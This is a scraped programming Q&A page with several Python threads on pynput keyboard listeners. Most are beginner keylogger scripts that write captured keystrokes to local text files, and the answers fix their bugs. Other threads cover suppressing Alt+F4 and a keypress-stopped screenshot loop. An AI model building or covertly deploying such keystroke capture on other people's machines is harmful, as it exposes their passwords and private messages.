Errno 22 Invalid argument error when executing python program - python

While trying to make a keylogger via python, I came across the following error
C:\Users\tahas\AppData\Local\Programs\Python\Python310\python.exe: can't open file 'c:\\Users\\tahas\\OneDrive\\Masaüstü\\AS\\keylogger.py':
[Errno 22] Invalid argument
from pynput.keyboard import Key, Listener
"""
key -> klavye tuşu (esc, space , enter.......)
listener -> klavyeyi dinleyen fonksiyon
"""
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(key)
count += 1
print("{} tuşuna basıldı!".format(str(key)))
if count >10:
write_file(keys)
keys= []
count = 0
def write_file(keys):
with open("logs.txt", "a") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key"):
file.write(str(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
i don't know why i can't open the file can you help me

Related

Suppress hotkey combinations of pynput

I found this code from the pynput issues page and it works for suppression of single-key hotkeys. In the filter, only one key is detected. How do I apply this for suppressing key combinations such as Alt+F4?
from pynput import keyboard
def keyboard_listener():
global listener
def on_press(key):
print('on press', key)
def on_release(key):
print('on release', key)
if key == keyboard.Key.esc:
return False # This will quit the listener
def win32_event_filter(msg, data):
if (msg == 257 or msg == 256) and data.vkCode == 112: # Key Down/Up & F1
print("Suppressing F1 up")
listener._suppress = True
# return False # if you return False, your on_press/on_release will not be called
else:
listener._suppress = False
return True
return keyboard.Listener(
on_press=on_press,
on_release=on_release,
win32_event_filter=win32_event_filter,
suppress=False
)
listener = keyboard_listener()
if __name__ == '__main__':
with listener as ml:
ml.join()
The on_press, on_release, and win32_event_filter always return a single key in action so you need to check if both buttons are pressed and ignore that action. More detail can be found here. Here how I can suppressing that key combination:
from pynput import keyboard
from pynput.keyboard import Key
import time
altPressed = False
def on_press(key):
global altPressed
altPressed = (key == Key.alt_l)
if key == keyboard.Key.esc:
keyboardListener.stop()
def win32_event_filter(msg, data):
global altPressed
if data.vkCode == 115 and altPressed: # suppress f4 when alt_l pressed
print("suppressed f4")
keyboardListener.suppress_event()
def on_release(key):
global altPressed
altPressed = (key == Key.alt_l)
keyboardListener = keyboard.Listener(on_press=on_press,
win32_event_filter=win32_event_filter,
on_release=on_release)
if __name__ == '__main__':
keyboardListener.start()
while(keyboardListener.is_alive()):
time.sleep(1)

Python keylogger won't save keystrokes to file

The program runs fine, though it won't save my keystrokes to keylogger.txt
from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
global keys, count
keys.append(key)
count += 1
print(key)
def write_to_file(keys):
with open("keylogger.txt", "a") as f:
for key in keys:
f.write(str(keys))
if count == 1:
count = 0
write_to_file(keys)
keys = []
with Listener(on_press=key_pressed) as listener:
listener.join()
Where is the problem in my code?
Your write_to_file code never runs. You change the value of count but you don't run write_to_file again. Put a write_to_file call inside key_pressed block and it will happen.
I'm not entirely sure of the "buffering" that's happening in your code, but here's how I would do it:
from pynput.keyboard import Key, Listener
def key_pressed(key):
print(key)
with open("keylogger.txt", "a") as f:
f.write(str(key) + "\n")
with Listener(on_press=key_pressed) as listener:
listener.join()
The if statement in your code executes only once, so your write_to_file function is never called.
Problem is this part of your code.
if count == 1:
count = 0
write_to_file(keys)
keys = []
This block in your code never runs.
If you want to use same format of your code use this. But a simpler approach is attached below
from pynput.keyboard import Key, Listener
keys = []
count = 0
def key_pressed(key):
global keys, count
keys.append(key)
count += 1
print(key)
if count == 1:
count = 0
write_to_file(keys)
keys = []
def write_to_file(keys):
with open("keylogger.txt", "a") as f:
for key in keys:
f.write(str(keys))
with Listener(on_press=key_pressed) as listener:
listener.join()
Another implementation for the same
from pynput.keyboard import Key, Listener
def key_pressed(key):
# Stop listener
if key == Key.esc:
return False
with open("keylogger.txt", "a") as f:
f.write(str(key))
with Listener(on_release=key_pressed) as listener:
listener.join()

How to use Esc to stop a while loop?

How do I break this loop with a keystroke such as Esc ? This example captures the keystroke but never passes the variable into the while loop.
from pynput import keyboard
count = 0
stop = 0
while True:
def press_callback(key):
if key == keyboard.Key.esc:
def stop_loop():
stop = 1
return stop
print('You pressed "escape"! You must want to quit really badly...')
stop = stop_loop()
return stop
count +=1
print (count)
if stop == 1:
break
if count == 1:
l = keyboard.Listener(on_press=press_callback)
l.start()
I'm using Ubuntu 18.04.
Update your stop_loop method like this:
def stop_loop():
global stop
stop = 1
return stop
If you don't declare global stop then instead of updating stop variable you defined at the beginning of the file you'll create a new local stop variable inside stop_loop method.
Probably read this for better understanding: https://realpython.com/python-scope-legb-rule/
Here is the final working solution:
from pynput import keyboard
count = 0
stop = 0
def press_callback(key):
if key == keyboard.Key.esc:
def stop_loop():
global stop
stop = 1
return stop
print('Get Out')
stop = stop_loop()
return stop
l = keyboard.Listener(on_press=press_callback)
l.start()
while True:
count += 1
print (count)
if stop == 1:
break

Unused variable in Python

This is my first time to create a python program to take screenshot every two seconds. The problem is that I don't know how to break the while loop. I wrote while sscount is not zero, keep screenshotting. Then when a user press ESC button, set sscount to 0. This should stop the while loop but I get the warning, "Unused variable 'sscount'" and it doesn't stop the while loop either.
Could anyone help me? Thanks.
import pynput
import pyautogui
import time
from pynput.keyboard import Key, Listener
count = 0
def on_release(key):
if key == Key.esc:
sscount = 0 #this is where the warning comes.
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
while sscount != 0:
pyautogui.screenshot('/users/aliha/desktop/screenshot/image'+str(sscount)+'.png')
sscount += 1
time.sleep(2.0)
Below a snippet code to enhance.
The main program run while is_running is True
ctrl+c event set is_running to False
screenshot is took if the elasped time is upper than 2 sec between 2 <escape> key pressed
output path is not hardcoded
global variable is used to share state
import time
from os.path import expanduser
from pathlib import Path
import datetime
from pynput.keyboard import Key, Listener, Controller
keyboard = Controller()
is_running = True
sscount = 0
previous_date = None
screenshot_dir = None
def on_press(key: Key):
global previous_date, sscount
have_to_take_screenshot = False
current_date = datetime.datetime.now()
if previous_date is None:
previous_date = current_date
have_to_take_screenshot = True
else:
elapsed_time = current_date - previous_date
if elapsed_time > datetime.timedelta(seconds=2):
previous_date = current_date
have_to_take_screenshot = True
else:
have_to_take_screenshot = False
print(have_to_take_screenshot)
if have_to_take_screenshot and key == Key.esc:
pyautogui.screenshot(f'{screenshot_dir}/image{sscount}.png')
sscount+= 1
def on_release(key: Key):
global screenshot_dir
should_continue = True
print(key)
if key == Key.esc:
is_running = False
should_continue = False
return should_continue
if __name__ == '__main__':
home_dir = expanduser('~/')
screenshot_dir = Path(f'{home_dir}/desktop/screenshot')
if not screenshot_dir.exists():
screenshot_dir.mkdir(parents=True, exist_ok=True)
while is_running:
try:
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
except KeyboardInterrupt:
is_running = False
In order to be able to use variable sscount globally and to manipulate the global variable within function on_release , you have to declare sscount as global variable in the function using global sscount. Complete result:
def on_release(key):
global sscount
if key == Key.esc:
sscount = 0 #this is where the warning comes.
return False
One way to fix this is to raise a StopIteration and make the loop infinite.
import pynput
import pyautogui
import time
from pynput.keyboard import Key, Listener
def on_release(key):
if key == Key.esc:
raise StopIteration
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
while True:
pyautogui.screenshot('/users/aliha/desktop/screenshot/image'+str(sscount)+'.png')
time.sleep(2.0)

Python create new line on space button press

I am running Python 3.8 (Also tested on 2.7). Attached below is code to a keylogger that I created with reference to a video tutorial as I'm fairly new to Python and trying to learn. I am trying to make it where when the space key is pressed, it writes a new line to the file so it tabs down and looks nicer. I've tried a few different things online that I've found however nothing has fixed it. If someone could help me and explain why this doesn't work it would be much appreciated. Thanks and have a great week
# Define imports
import pynput
from pynput.keyboard import Key, Listener
# Define variables for keylogger
count = 0
keys = []
# Function to detect key presses
def on_press(key):
global count, keys
keys.append(key)
count += 1
print(str(key))
if count >= 1:
write_file(str(keys))
keys = []
count = 0
# Function to write the letters to a file
def write_file(keys):
with open("log_test.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")
if k.find("space") >= 0: # This is the code to check for space bar press
f.write('\n')
else:
k.find("Key") == -1
f.write(k)
# Detect when a key is released
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
That's because your "k" is not "space", but "s", "p", "a", "c", "e".
Not the most elegant method, but try this:
def on_press(key):
global count, keys
keys.append(key)
count += 1
if count >= 1:
write_file(keys) # don't convert to string here
keys = []
count = 0
def write_file(key):
with open("log_test.txt", "a") as f:
if str(key).find("space") >= 0: # transform to string to find what you want
f.write('\n')
elif str(key).find("Key") == -1: # transform to string to find what you want
# key will come as a list, like this: ['char']
# take the first (and only) element, and it will be like this: 'char'
# then remove the "'" and you'll have your character
key = str(key[0]).replace("'", '') # take only the character, then save it
f.write(key)
When you are checking for space, do this:
if k.find(" ") >= 0: # use plain space " " and not "space"
f.write('\n')

Categories